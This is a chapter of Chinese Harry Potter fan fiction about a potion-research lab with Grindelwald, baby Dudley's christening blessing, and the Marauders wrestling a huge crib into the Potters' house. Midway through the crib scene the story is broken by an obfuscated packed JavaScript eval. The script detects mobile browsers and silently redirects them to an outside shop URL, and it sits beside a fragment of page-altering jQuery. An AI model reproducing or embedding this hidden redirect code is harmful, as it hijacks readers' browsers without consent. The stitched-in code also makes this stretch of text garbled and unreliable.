“看在梅林的份上，”达摩克利斯·贝尔比举起一瓶幽绿的魔药，“这是什么东西？”


    “看在梅林的份上，”卡莉娜说，“我还指望着你们能告诉我。”


    “你问过斯拉格霍恩教授吗？”塞巴斯蒂安端详着自己那一瓶魔药，“它看起来需要一个魔药大师来破解。”


    “斯拉格霍恩教授不会接受任何来历不明的魔药。”卡莉娜坐在一张靠背椅里，“他认为这种风险是不可估量的。”


    “显然，他的谨慎是有原因的。”西弗勒斯在角落的坩埚边发出声音，“如果给不出这瓶魔药的出处，那么它就只有为数不多的几个来源……考虑到你的财力和它的危险性，它只能来自于某个我们不喜欢提的人。”


    “哦，”卡莉娜翘起一条腿，“聪明的男孩儿们。”


    三个人一致地抬起头看着她。


    “我想你们能搞定它。”卡莉娜闲适地说，“我还可以借给你们一位黑魔法大师。莉莉和泰莎需要维持公司的正常运转，而你们都不负责那部分工作……不论是材料研发还是魔药研究都不能够一时半会儿完成，你们可以在此期间干点别的事——比如做出解药。”


    塞巴斯蒂安显然只听到中间的那一句。


    “黑魔法大师？”他警觉地问，“不要告诉我是那个要命的老头——”


    卡莉娜挑了挑眉。


    “你猜得没错。”她愉快地说，“我在公司里专门开设了一个魔药研究室……不必担心，达摩克利斯，你的狼人不会在这一时半会儿之内死掉……我会让多比来时不时喂一下他们。”


    达摩克利斯露出一种向往的神情。


    西弗勒斯的脸上则露出一种古怪的神情——他和格林德沃的接触不多，但也了解他在公司的风评。


    而塞巴斯蒂安发出嚎叫声。


    西弗勒斯把脑袋转向塞巴斯蒂安，脸上露出快意的神色。


    “等着吧，西弗勒斯。”塞巴斯蒂安自如地收起脸上的绝望，“你会感受到那是个什么样的魔鬼——”


    ————


    “做得不错，小子。”格林德沃对西弗勒斯说，“你是个黑魔法天才。”


    西弗勒斯脸上露出一种巧妙的神色——既不会让人觉得他骄傲得讨人厌，又不至于谦逊地让人恼火。


    “我想这是一种能够自然而然得出的结论。”西弗勒斯说，“至于为什么有些人不能，那一定是别有原因。”


    塞巴斯蒂安把书盖在脸上睡觉，完全没有在意他们在说什么。


    达摩克利斯已经爱上了魔药研究室，没日没夜做实验的脸上带着相当可怕的黑眼圈——他念念有词地往那锅面目全非的魔药里扔了一团不知从何处来的毛发，并满意地看到它变成了奇特的粉色——总而言之，他并没有听到格林德沃和西弗勒斯的对话。


    格斯帕德一把把门推开，拿着一大堆机械手稿横冲直撞进来。


    “怀尔德先生！”他高高兴兴地说，“你瞧，我们在农业上取得了爆炸性的进展，也许我们是时候走入真正的工业，而不是仅仅依靠那台一号机床——”


    潘多拉紧接着跟进来，手里攥着那台迭代过无数次的灵魂感应仪。


    “怀尔德先生！”她用空灵的语调说，“能再试用一下新一代的——”


    一瞬间，魔药研究室里乱成一团。


    “去找你们老板！”格林德沃率先对格斯帕德说，“不要再问我机械的事——我不是炼金术大师！”


    而后他一把拿过潘多拉的灵魂感应仪器。这座水晶小摆件在亮起银黑色光芒的刹那朝外溅射出碎片——所有人都熟练地施了一个防护咒语——西弗勒斯在他和格林德沃前树了一个铠甲护身，而格林德沃已经敏捷地把仪器扔了出去。


    “不行。”他宣布到，“这个改进方向绝对不行——它更脆弱了，潘多拉！”


    一些碎片往塞巴斯蒂安飞去。


    他迷惘地从行军床上坐起，把细小的水晶碎片扔进旁边的垃圾桶。


    而后他扔了一小片进自己的坩埚。


    他迷惘地盯着自己的锅，戳了戳达摩克利斯。


    “是我刚刚睡醒，眼睛看不清楚，”他怀疑地说，“还是它真的变得清澈了？”


    达摩克利斯转过头仔细看了一眼。


    “它变澄清了。”他宣布到，“现在，告诉我你往里面都扔了什么——我们要把它还原出来。”


    塞巴斯蒂安试图躺回床上。


    “我不记得。”他嘟哝道，“很多都是在我半梦半醒的时候往里扔的。”


    西弗勒斯已经把所有的水晶碎片打扫成一箩筐，重重地摆放在桌子上。


    “来吧，”西弗勒斯残忍地宣布到，“这正是考验你的时候，塞巴斯蒂安。”


    塞巴斯蒂安看了看旁边坐着的所有人。


    他把自己的实验报告塞给达摩克利斯。


    “没关系，”他安详地说，“我的实验报告替我记得。”


    他把双手叠放在小腹上，表情安宁地躺下了。


    “晚安，”他愉悦地说，“希望我醒来就是好消息。”


    西弗勒斯的牙齿咬得咯咯作响。


    格斯帕德拿着自己的一叠稿子孜孜不倦地打扰格林德沃。


    “你们老板到底在哪里？”格林德沃不耐烦地说。


    “喔，”格斯帕德很清澈地说，“我怎么会知道？”


    ————


    卡莉娜在端详一只像是蛋糕塔的小婴儿。


    “告诉我，”她最后说，“这顶像海洋球的帽子和这套带着蕾丝边的小襁褓到底是谁买的。”


    佩妮仿佛不经意间向后一瞥。


    弗农拿着一份报纸，装作不经意地翻过一页。


    卡莉娜都不好意思告诉他，他的报纸拿反了。


    “谁是天底下最好的小宝宝？”佩妮对摇篮说，“谁是天底下最可爱的小宝宝？”


    达力·德思礼在摇篮里发出含糊不清的声音。


    卡莉娜看着天花板上垂下的漂亮星系模型，又看了看佩妮和达力。


    她在一瞬间意识到，佩妮或许在给自己的孩子自己过去没有得到的，全心全意的爱。


    虽然这爱的方式向着另一个奇怪的方向奔驰而去，但这份爱本身却是笨拙的、真挚的。


    佩妮把摇篮短暂地交给她，自己去厨房冲奶粉。


    卡莉娜歪着头，继续看着这只像蛋糕塔一样的小婴儿。


    “你是一个幸运的小宝宝。”她说，“希望你能成为一个健康的、善良的人。”


    她轻轻点了点达力的小鼻子。


    “这是仙女教母给你的祝福。”卡莉娜说。


    ————


    “所以你现在是达力的教母？”莉莉开心地问。


    “喔，是的。”卡莉娜正在翻看新的一本《巫师政商观察》，本期封面是哈罗德·明彻姆严肃的硬照，“佩妮问我梅林是否介意上帝的存在，我告诉她完全不。”


    莉莉开朗地笑着。


    虽然行动不便，但她依旧看起来活力四射。


    “最好的莉莉花！”詹姆从屋外回来，捧着一大束百合花，“今天感觉怎么样？”


    “非常好！”莉莉伸出手接过花，顺便给詹姆的脸颊一个吻，“哈利一直是一个乖宝宝。”


    “你们决定叫他哈利？”卡莉娜从杂志上方打量着他们俩，“确定了？”


    “当然。”詹姆坐在莉莉那张沙发的扶手上，“哈利·詹姆·波特，致敬我的一位曾祖父……或者曾曾祖父……他们总是在族谱上爬来爬去，我记不清楚。但我记得亨利是个乐天派的老家伙，我们都希望哈利也是个乐天派！”


    即将上任的新手爸爸露出傻兮兮的笑容。


    莉莉的脸上也露出笑容——她总是很容易被詹姆的快乐感染。


    “叉子！”西里斯在门外喊道，“过来帮我开门！”


    “什么？”詹姆拉开小屋的门，看到西里斯抬着一个巨大的婴儿床进来，“什么？？”


    “梅林！”卡莉娜听到莱姆斯在西里斯身后绝望地喊道，“它为什么已经装好了？”


    “不应该吗？”西里斯傻傻地问，“院子里空间很大——”


    “它现在该怎么穿过这扇门？”莱姆斯说，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789240|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “它本该在婴儿房里偷偷装起来的——作为一个惊喜！”


    “到底是谁忘记自己是个巫师？”莉莉挥舞着魔杖说，“瞧——这就正好！”


    正门巧妙地拉长、变宽，足够这个婴儿床穿过。


    西里斯让婴儿床漂浮着经过门框。


    莱姆斯从后面绕上来，尴尬地对他们笑着。


    “我喜欢这样，莱姆斯。”莉莉高高兴兴地说，“这样再好不过了，惊喜提前了，不是吗？”


    “哦，是的。”莱姆斯如蒙大赦，“希望我们选的这张婴儿床足够合适。”


    “它很合适！”詹姆大声说，用一条胳膊紧紧把莱姆斯夹在自己的咯吱窝里，“月亮脸，没有比这个更合适的礼物了！”


    卡莉娜想起詹姆在她来的时候把一张婴儿床运进储藏间。


    莉莉注意到她的表情，轻轻撞撞她的胳膊。


    “不要告诉他们。”莉莉眨眨眼，“他们多高兴啊——而且哈利就有了两张婴儿小床——如果他玩腻了其中一张，我们就可以换另一张。”


    “很有道理。”卡莉娜若有所思地说，“看来我们可以送双份的小玩具。”


    “不要玩具扫帚。”莉莉低声对卡莉娜说，“我听到詹姆和西里斯在谋划这件事——不要玩具扫帚。”


    “你知道我没办法在这件事上控制住他们。”卡莉娜耸耸肩，“这是一件意义深刻的玩具，我相信哈利会喜欢的。”


    莉莉上上下下打量了她一番。


    “你也是一个竞速爱好者！”她恍然大悟道，“哦，这可不行——但玛丽会站在我这边的！”


    “叉子！”他们听到西里斯在楼梯上喊道，“快来帮忙——”


    “什么？”詹姆放开莱姆斯的头，和莱姆斯一起两步并做一步往上跑，“发生什么了？”


    紧接着他们听到狂笑声。


    “别笑了！”西里斯在笑声中喊道，“快来把楼梯弄宽点……它卡住了！”


    “旋转一下。”莱姆斯的声音说，“把它竖起来。”


    “也会卡住！”西里斯大怒道，“你以为我没有试过吗？这张婴儿床太长了！”


    “我当时就说，”莱姆斯说，“它太大了——够哈利在上面爬五个来回——但你坚持要买它！”


    “你也同意了！”西里斯说，“你完全乐见其成！”


    詹姆好像笑呛住了——他的声音发出了一个大劈叉。


    “嘎！”詹姆咳嗽着说，“好吧，好吧……这样应该够宽了……”


    “行行好，”西里斯说，“接下来还有一道门！”


    他们仨笑嚷着往小屋最里面那间婴儿房走去。


    莉莉对卡莉娜摆出一个笑容——卡莉娜发誓有一种恶作剧的光芒在她脸上一闪而过。


    “其实他们可以用缩小咒。”莉莉从桌子上拿起今天的花边小报，“但我想没有必要提醒他们。”


    “确实如此。”卡莉娜深以为然地说。


    莉莉看向标题。


    “博金·博克，“她读到，”揭露翻倒巷老板背后的伤心往事。”


    莉莉发出震惊的声音，兴致勃勃地往后哗啦啦翻过几页。卡莉娜猜想她是去看那张‘劲爆的照片’，博金·博克夜会一名蒙面女巫（后被证实为蒙顿格斯·弗莱奇）。


    卡莉娜记得洛哈特在文章里这样写到：


    博金·博克自诩能看穿所有物品的价值，但却无法辨别自己爱上的究竟是谁——他是否会回忆起那名只在深夜出现的女巫？回忆起她身上的香气和神秘，回忆起她留下的无数件奇妙的物品，回忆起无数个心动不已的瞬间——但可惜的是，他遇到了可怕的骗子、真正的盗贼蒙顿格斯·弗莱奇。他擅长偷走昂贵的物品，却也擅长偷走别人的心……


    这期杂志的销量再创新高。玛丽为洛哈特戴上‘丽塔·斯基特二世’的桂冠。


    莉莉在她对面笑得前仰后合。西里斯、詹姆和莱姆斯的声音在楼上闹哄哄地响成一团。


    “看在梅林的份上，”卡莉娜在心里说，“或者看在上帝的份上——不管哪位……”


    祝他们永远这样快乐。